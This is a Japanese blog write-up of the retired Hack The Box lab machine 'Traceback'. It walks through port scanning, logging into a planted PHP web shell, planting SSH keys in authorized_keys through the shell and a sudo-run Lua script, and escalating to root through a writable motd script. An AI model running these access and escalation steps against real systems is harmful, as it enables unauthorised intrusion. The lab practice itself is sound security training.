λ沢.dev

lambdasawa.dev


Project maintained by lambdasawa Hosted on GitHub Pages — Theme by mattgraham

最近 Hack The Box というものにハマっています。
これはざっくり説明するとペネトレーションテストの実力を試せる Web サイトです。 サービス側から .ovpn ファイルとその VPN 上にある脆弱なマシンの IP アドレスが提供されるので、そこにポートスキャンしたり SQL インジェクションしたりして root 権限を奪取するというものです。

マシンは複数台あり、 Active なマシンを攻略するとレートが付きます。ほぼネトゲです。
各マシンは 20 週間位で Retire してレートがつかなくなります。
1 週間ごとに一番古いマシンが 1 つリタイアして 1 つアクティブなマシンが追加されるようになっていて、 Active なマシンが大体 20 個あるので 20 週間くらいです。
Retire したマシンのみ write up を書いて良いということになっています。

Challenge というクイズ的な問題もあるのですが、これは自分はやったことが無いので特に触れません。

自分は HTB を初めて日が浅いのですが初めて解いた問題がリタイアしたので記念と自慢として write up を残します。

write up

Traceback を解きました。 Linux マシンです。難易度は Easy です。

ポートスキャン

まずどんなサービスが動いているか確認します。

$ nmap -A 10.10.10.181
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-21 03:20 EDT
Nmap scan report for 10.10.10.181
Host is up (0.17s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.72 seconds

ssh, http が出来そうです。

foothold

curl で HTML を見てみると以下のような記述があります。

<body>
        <center>
                <h1>This site has been owned</h1>
                <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
                <h3> - Xh4H - </h3>
                <!--Some of the best web shells that you might need ;)-->
        </center>
</body>

best web shells がバックドアとして残されているようです。
best なんて人によるだろ」と思い作問者の名前 (xh4h) + web shell でググると https://twitter.com/riftwhitehat/status/1237311680276647936 が見つかります。
このリポジトリをクローンしてきて雑に for path in (ls | grep -v README); curl 10.10.10.181/$path; echo $path; end とかすると smevk.php が見つかります。 smevk.php のデフォルトユーザ名、パスワードでログイン出来るのでこれで任意コード実行が出来るようになりました。

user login

smevk.phpuser.txt を入手したいですが、ログイン中のユーザではそれが無いです。

$ ls -al /home/$(whoami)
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 04:03 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin  105 Mar 16 04:03 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24  2019 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 06:29 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16 03:53 note.txt

smevk.php のコンソールは使いにくいしユーザ名も分かったし、 ssh 接続を試みます。

ますクライアントマシンでキーペア生成します。

$ ssh-keygen -f ~/.ssh/traceback

smevk.php のコンソールからこんな感じで生成した ~/.ssh/traceback.pub をアップロードします。

mkdir -p /home/webadmin/.ssh/ && echo "ssh-rsa xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx@xxxxxxxxxxxxxxxx" > /home/webadmin/.ssh/authorized_keys && cat /home/webadmin/.ssh/authorized_keys

これで SSH すると無事に安定したシェルを得られます。

$ ssh -i ~/.ssh/traceback webadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Last login: Thu Feb 27 06:29:02 2020 from 10.10.14.3
webadmin@traceback:~$ 

先程の ls の結果を見つめ直すと note.txt, .luvit_history の興味深いファイルが見つかります。 前者の内容は以下です。後者は空でした。

$ cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

Lua の練習ツールを sysadmin が残してくれたらしいです。

続いてホームディレクトリ内のファイルを順番に見ていると以下のような興味深い履歴が見つかります。

$ cat /home/webadmin/.bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua
logout

どうやら luvit で権限昇格が出来るようです。
luvit は Node.js の API を使える Lua の処理系らしいです。
これを使って sysadminssh 出来るように /home/sysadmin/.ssh/authorized_keys の作成を試みます。

以下のコードを /home/webadmin/privesc.lua として書きます。キーの内容はクライアントマシンの ~/.ssh/traceback.pub です。

local fs = require('fs')

fs.mkdirSync('/home/sysadmin/.ssh')

local pubkey = 'ssh-rsa xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx@xxxxxxxxxxxxxxxx'
fs.writeFileSync('/home/sysadmin/.ssh/authorized_keys', pubkey)

これを .bash_history に従って以下のように実行すると無事に正常終了します。

$ sudo -u sysadmin /home/sysadmin/luvit privesc.lua

これで sysadminssh 出来るようになって user.txt が取れました!

$ ssh -i ~/.ssh/traceback sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Aug 21 00:47:10 2020 from 10.10.14.11
$ bash
sysadmin@traceback:~$ cat user.txt 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

root login

まず linPEAS を流します。

クライアントマシンでダウンロード、 scp でターゲットマシンに送りつけます。 ターゲットマシンで curl or wget が使えれば楽なのですが、 名前解決で失敗していたのでこうしています。

$ wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
$ chmod u+x linpeas.sh
$ scp -i ~/.ssh/traceback linpeas.sh sysadmin@10.10.10.181:/home/sysadmin/linpeas.sh

実行すると以下の辺りが黄色くなっています。

sysadmin@traceback:~$ ./linpeas.sh 

... 省略 ...

[+] Interesting GROUP writable files (not in Home) (max 500)                  
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
  Group sysadmin:                                                             
/etc/update-motd.d/50-motd-news                                               
/etc/update-motd.d/10-help-text                                               
/etc/update-motd.d/91-release-upgrade                                         
/etc/update-motd.d/00-header                                                  
/etc/update-motd.d/80-esm                                                     
/home/webadmin/note.txt                                                       
/dev/mqueue/linpeas.txt    

... 省略 ...

/etc/upated-motd.d 以下はログイン時に出るバナーなどを実装しているシェルスクリプトのようです。 root 権限で動作するらしいので、ここで /root/root.xt の表示を試みます。

$ nano /etc/update-motd.d/00-header

# cat /root/root.txt を追加

これで SSH し直すとバナーと一緒に root.txt も出力されます!

$ ssh -i ~/.ssh/traceback sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Aug 21 00:56:10 2020 from 10.10.14.11
$

感想

最初から Web Shell がしかけられてるシチュエーションなんてあるかよ、という気持ちもあったのですがイタズラ的にマシンを乗っ取られてそれを取り返すというシチュエーションだと思うと、ある程度は納得出来る問題でした。

初めての問題で何も分からない状態からのスタートでしたが、リタイアした別マシンの write up を読んで使うべきツールなり定石なりを把握すると割とすんなり解けました。
実際仕事終わりに問題に取り組んで 2 日間くらいかかってしまったのですが、終わってみると「やるだけ」だったなという感想です。

そもそも始めたきっかけは ハッキングという言葉に憧れるエンジニア達に贈る Hack the Box 入門 を見たことなのですが、 これを最初に見たとき「これが Easy なら自分には厳しいな」という印象を持ったのですが、やってみれば割とこなせたので少し自分に自信がつきました。
良い経験だったと思います。

今の自分は Script Kiddie という大変不名誉なランクなので Hacker になるまでは続けようと思います。

https://app.hackthebox.eu/profile/367637